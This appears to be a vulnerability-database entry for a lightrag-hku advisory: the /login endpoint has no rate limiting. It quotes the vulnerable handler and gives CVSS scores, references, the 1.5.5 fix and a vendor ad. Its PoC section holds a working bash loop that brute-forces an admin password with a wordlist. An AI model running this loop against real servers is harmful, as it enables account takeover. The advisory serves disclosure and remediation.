CVE
CVE-2026-85734
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Severity
Critical
Base CVSS
9.1
Fixed in
1.5.5
Description
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
## lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counterA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
## Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txtImpact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Severity scores
Source
Severity
Base score
CVSS version
Score vector
NVD
Critical
9.1
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OSV
0
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Endor Labs
9.1
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Required action
Known ransomware campaign use
References
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx, https://nvd.nist.gov/vuln/detail/CVE-2026-85734, https://github.com/HKUDS/LightRAG/pull/3424, https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54, https://github.com/HKUDS/LightRAG, https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
Basic information
Base CVSS
9.1
EPSS probability
0.0
EPSS percentile
0.31297
Introduced version
0,1.2.5
Fix available
1.5.5
Endor Patches
Fix critical vulnerabilities instantly
Secure your app without upgrading: detect a compatible fix, apply safe remediation, and ship it in a single pull request.
Fix without upgradingGet a demo of Endor Labs today.